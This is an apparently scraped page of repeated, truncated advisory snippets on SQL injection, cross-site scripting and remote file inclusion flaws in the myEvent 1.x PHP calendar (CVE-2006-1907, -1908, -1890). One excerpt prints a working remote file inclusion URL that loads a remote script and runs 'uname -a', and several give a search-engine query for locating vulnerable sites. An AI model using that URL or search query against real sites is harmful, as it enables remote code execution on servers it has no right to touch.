CVE-2006-1907

Multiple SQL injection vulnerabilities in myEvent 1.x allow remote attackers to inject arbitrary SQL commands via the eventid parameter to 1 addevent.php or 2 del.php or 3 eventdesc parameter to addevent.php. NOTE: the provenance of this information is unknown; the details are obtained solely fro...

Cross site scripting

Cross-site scripting vulnerability in addevent.php in myEvent 1.x allows remote attackers to inject arbitrary web script or HTML via the eventdesc parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2006-1908

Cross-site scripting vulnerability in addevent.php in myEvent 1.x allows remote attackers to inject arbitrary web script or HTML via the eventdesc parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2006-1907

The documents describe multiple remote vulnerabilities in myEvent 1.x (a PHP calendar app). The core issues allow SQL injection via the event_id parameter to addevent.php, del.php, or via event_desc to addevent.php, and a separate path traversal/remote include risk via myevent_path that could lea...

CVE-2006-1907

Multiple SQL injection vulnerabilities in myEvent 1.x allow remote attackers to inject arbitrary SQL commands via the eventid parameter to 1 addevent.php or 2 del.php or 3 eventdesc parameter to addevent.php. NOTE: the provenance of this information is unknown; the details are obtained solely fro...

CVE-2006-1908

CVE-2006-1908 affects the myEvent 1.x web application. The core issue is a cross-site scripting vulnerability in addevent.php’s event_desc parameter, enabling injection of arbitrary script/HTML. Connected sources also describe additional flaws in the same product: unsanitized input to myevent_pat...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in myWebland myEvent 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the myeventpath parameter in 1 event.php and 2 initialize.php. NOTE: vector 2 was later reported to affect 1.4 as well...

CVE-2006-1890

Multiple PHP remote file inclusion vulnerabilities in myWebland myEvent 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the myeventpath parameter in 1 event.php and 2 initialize.php. NOTE: vector 2 was later reported to affect 1.4 as well...

CVE-2006-1890

Multiple PHP remote file inclusion vulnerabilities in myWebland myEvent 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the myeventpath parameter in 1 event.php and 2 initialize.php. NOTE: vector 2 was later reported to affect 1.4 as well...

CVE-2006-1890

The CVE-2006-1890 case concerns myEvent (PHP calendar) with multiple remote file inclusion vulnerabilities in myEvent 1.2 (and note that vector 2 affects 1.4). The root cause is insufficient sanitization of the myevent_path input, which is used to include PHP code from other files in event.php an...

MyEvent-1.2.txt

Website : http://mywebland.com/ Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php" I. Remote Code Execution This is script to very big high it bug being found...

MyEvent Remote File Execution And XSS Attacking

Website : http://mywebland.com/ Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php" I. Remote Code Execution This is script to very big high it bug being found...

MyEvent 1.3 - event.php Remote File Inclusion

MyEvent 1.3 - event.php Remote File Inclusion Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php"...

MyEvent <= 1.3 (myevent_path) Remote File Inclusion Vulnerability

No description provided by source. Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php"...

MyEvent 1.3 - 'event.php' Remote File Inclusion

Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php" http://www.site.com/path/event.php?myeventpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-17...

MyEvent <= 1.3 (myevent_path) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================= MyEvent = 1.3 myeventpath Remote File Inclusion Vulnerability ================================================================= Script : MyEvent Version : 1.2 Risk : High...